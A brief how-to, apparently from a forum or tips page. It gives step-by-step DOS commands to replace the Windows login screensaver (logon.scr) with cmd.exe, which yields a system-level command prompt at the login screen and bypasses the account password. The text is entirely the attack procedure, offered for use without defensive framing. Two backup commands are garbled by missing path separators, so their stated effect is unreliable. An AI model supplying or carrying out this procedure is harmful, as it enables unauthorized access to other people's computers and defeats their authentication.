Method 1:
(1) Boot the computer, use the DOS boot disk (such as: Windows 98 boot disk) to enter the pure DOS state.
(2) At the DOS prompt, follow these steps:
cd\ (Switch to root)
cd windows\system32 (Switch to system directory)
mkdir temphack (Create temporary folder)
copy logon.scr temphacklogon.scr (backup logon.scr)
copy cmd.exe temphackcmd.exe (backup cmd.exe)
del logon.scr (delete logon.scr)
rename cmd.exe logon.scr (rename cmd.exe to logon.scr)
exit
